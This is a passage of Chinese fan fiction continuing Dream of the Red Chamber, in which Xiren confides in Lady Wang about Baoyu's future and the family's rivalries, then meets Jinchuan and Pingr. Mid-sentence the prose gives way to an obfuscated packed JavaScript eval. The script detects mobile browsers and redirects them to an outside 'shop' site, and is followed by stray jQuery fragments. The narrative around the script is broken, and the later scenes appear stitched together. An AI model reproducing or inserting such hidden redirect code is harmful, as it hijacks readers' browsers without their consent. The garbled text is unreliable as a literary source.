听了这一番嘱咐，袭人顿觉肩上有千钧重任，正色回道：“太太吩咐的话，我是一时一刻也不敢忘的。也请太太宽心，二爷原也很晓得轻重分寸，又是第一个孝顺的，断然不肯任性胡闹让老太太、太太伤心。从来我只是想着，本来园子里就住着姑娘们，如今又添了这几个亲戚家的姑娘，又都是极出众的，以二爷的性子，一向是愿意亲近女孩儿的，只怕越发把读书的心抛到九霄云外去了。像府里这样的人家儿，原也不指望二爷求取功名，可到底也要有个读书明理的样子，有规矩、识大体，这才是正经人家的公子，让老爷瞧着，心里也喜欢。”


    王夫人慢慢点头，微笑道：“好孩子，你真是通透，我的宝玉若是有你一半明白，也不必我们跟着这样日夜操心。他实在不明白我们的苦心，总觉得我同他父亲逼迫他读书上进，难道我们竟指着他去‘光耀门楣’不成？祖宗挣下的这份家业，难道还不够他使？他哪里明白，生在这样的家里，就需得合外头的式儿，方才使得。偏他心里觉得人人都俗，只有他每日那离经叛道、任性妄为的行事才是什么‘雅’，又是什么‘真性情’。我也不知从来是造了什么孽，养下这一个混世魔王来，被他那些乖僻怪诞的毛病儿，也把我担忧得好苦。”


    王夫人一面说着话，心里一阵烦闷，觉得仿佛有些火在烧一般，抬手轻抚了一下胸口，袭人见了，立即起身去捧了一盏茶来。王夫人越发觉得袭人体贴懂事，含笑接过呷了一口，感觉稍稍舒适了些，又道：“至于那几个亲戚家的女孩儿，不过是老太太疼爱小孩儿家，这才略留她们住些时日，终究是客，至多过了年，后面都是要走的，叫宝玉新鲜一阵子也罢了，我只盼他别犯了那呆性儿，疯疯癫癫的，别吓坏了人家姑娘才好，传出去到底不好听。”


    袭人昨日听见麝月讲说老太太、太太等近日似乎在给邢大姑娘议亲，偏晴雯又话里有话，言语中指向宝玉，她心里便犯了疑，总为太太该是向着宝姑娘才是，不该另起意选中了邢家的姑娘，却不好深问，只得在心里留了意，今日借着说话来小心试探。


    可如今听着太太的口气，分明是说这些个亲戚家的女孩子都是住不长久的，既如此，那自然不是同宝玉议亲了。


    袭人心下一松，却也不禁好奇，既不是宝玉，又是为何人议亲呢？她只顾推敲思忖，却忘了应答。


    王夫人见她半晌不语，只是低着头出神，便问：“怎么了？”


    袭人一惊，暗怪自己怎么在太太跟前儿走神，失了稳重，仍自垂着头，似乎在斟酌接下来的话该讲不该讲，片刻终于下定决心一般，抬起头来，郑重地道：“回太太，我适才是想着，兰哥儿虽然肯用功，到底还小，又隔着一辈儿；三爷一向里又是那么个形状，不成章法。算起来，老爷跟前儿也只有二爷一个指望。可如今赵姨奶奶又怀着一个，将来若生下是个哥儿——请太太恕我僭越——向来做父母的都难免心疼小的，若这一个果然可喜，老爷难保没有别的想法呢。连我们底下的人也着急，如今也只有想法子怎生规劝二爷收心用功才好。”


    才一说完，袭人便跪下道：“这话原不该我说，请太太责罚。”


    王夫人连忙虚扶袭人，慨叹道：“我的儿，说什么要责罚的话，快起来罢。”袭人起身来，垂着手站在一边，有几分惶恐的意思，王夫人示意她仍旧坐回去，道：“我只说我没看错你，旁的人哪里懂得，你的这些话句句说在我心里。你若不是一心为我们母子，也没有这些话，我虽不中用，到底是明白的。”


    王夫人将手里念珠放在膝上，叹道：“难得这里只我们娘儿两个，我也同你说几句体己话。家里现今这几个孩子，从小儿都养在我这里，既都叫我一声‘母亲’，我便是一样地待他们。咱们家里一向里也不讲究那些嫡啊、庶啊、亲啊、疏啊的，给他们的用度皆是一样的。可这人心岂有不偏的？我亲生的孩儿，如何不在心里多疼他些儿，此心实在难禁——等你养下孩子来便知道了。”


    袭人听见这话，面上不禁一红，心中砰砰乱跳，不由低了头弄衣襟，王夫人却一心在后面要说的话上，未留意袭人的神色，继续说道：“二丫头和四丫头不是咱们这屋里的人，倒也罢了，自有人替她们操心。剩下一个三丫头……唉，那样的性情儿，又聪明、又能干，我瞧着她倒是这姊妹三个里头一个明白的。等再过几年历练出来了，比凤丫头恐怕也不差。这话也不怕告诉你知道——我常常只在佛前庆幸赵姨娘将她生作了一个女儿身，若她是个哥儿，哪还有我的宝玉的位置！”


    这话的确是十分体己的，袭人听在耳中，只觉手心儿也微微地有些出汗，可见王夫人已将她作为自己的心腹看待。


    只听王夫人续道：“论说这造化的事，也是弄人，三丫头是这样，与她一母同胞的环儿却又是那样，谁又想得到？可这新要添下的一个，我也有些拿不准，是同环小子一样着三不着两的，倒没甚么，总是养着他罢了，若是同三丫头是一样，我倒是头痛得紧了。”


    见王夫人思虑颇重，袭人只好拿话安慰道：“都怪我多嘴，不该说这些话来让太太烦心。那孩子生下来，凭他是男是女，到底同他哥哥姐姐们在岁数上差着一大截儿，等他大了、能瞧出好歹了，咱们二爷也早立业成家了，根基也稳当了，这么些眼睛瞧着，老爷便是再疼小的，难道还能为他一个小孩子亏待了二爷不成？”


    王夫人抬手捏了捏眉心，神色间十分疲惫，叹道：“你不知道，咱们这样人家的事，实在是半点也放松不得的，一丝一毫都关系重大。”说罢，似是十分倦怠了，闭上双眼养神，袭人见状，温声宽慰了几句便起身告退，让王夫人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384533|162289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好生休息。


    袭人出得王夫人上房，见到金钏在廊子上守着，不远处有两个才留头的小丫头捧着果盒候着。


    一见袭人，金钏便迎过来悄声道：“什么要紧的事，怎么说了这样久。”


    袭人摆摆手，道：“太太有什么话与我说，不过是问宝玉的起居。”又道：“太太有些乏了，在里头歇下了，身边儿也没有个服侍的人，你快进去罢。”


    金钏儿低声笑道：“不妨事，既是睡了，越发过会子再进去也罢了。你跟宝玉的时候儿久了，这样警醒儿，我们这里倒不必如此，别的也罢了，单说太太每日下午念经的半个时辰里，也是不用人跟着的。”


    袭人叹道：“懒丫头们，仗着太太仁德，越发闹得不像了。”


    金钏儿扑哧笑道：“好了好了，知道你是最会服侍的了，真正是一时也不肯放松，怨不得太太喜欢你，可你要当这一房的家，也得成了‘宝二奶奶’再说，到那时，我们自然都是听吩咐的，你让我们作甚么，我们就作甚么，你让我们怎么做，我们就——”


    话还没说完，金钏儿早被袭人捂住了嘴，袭人向四下打量了一回，才压低声音道：“这是怎么说，说这样的话，是成心不让我活了。”


    金钏儿将袭人的手拿下来，笑道：“我们这些人里头，如今你是头一个见了实在前程的，怎么胆子还是一点点大？”


    袭人忙又推她，金钏儿这才笑道：“那些干果子虽好，到底并不难得，恐怕不大入得你们的眼，我记得宝玉和你都爱吃松子，我便多包了些，其他不过应景儿，你们若不中意时，就散给小丫头们吃去罢。喏，你不必动手，叫她两个给你送过去。”说着向不远处两个小丫头一示意，两个小孩子立即走过来。


    平儿笑道：“过会子我原是要给宝玉送东西去的，可巧你在这里。”说着就从旁边丫头捧着的漆盘上将一封儿茶叶取了来，交在袭人手里，道：“这是前头暹罗来的茶叶，原是给园子里姑娘奶奶们都分送过的，这一程子数了数，竟还余了些，我们奶奶想着二爷说过好吃，又取了些儿来，你带了去罢。”


    袭人接了，在手里看了一回，笑道：“知道，这个茶与咱们的茶不同，滋味格外淡些儿，颜色与香味儿也不一样。实则二爷爱这个还是有限的，宝姑娘也不大喜欢，我记得倒是林姑娘赞不绝口的，与他两个口味不大相同。”


    平儿听说，笑道：“还是你心细，这家里这么些口子，谁人爱吃这个、爱穿那个，一时倒有千百种花样，我们奶奶全都记在心里，竟是半分不错，倒是我们底下的人，有时听岔了，便闹笑话儿了。只是这一向里凡有姑娘们的，也总有宝玉的，便给他带一份儿，也是个意思。”一面就指着那盘儿上，道：“林姑娘也有，待给太太回了话，过会子我再往林姑娘那里走一趟。”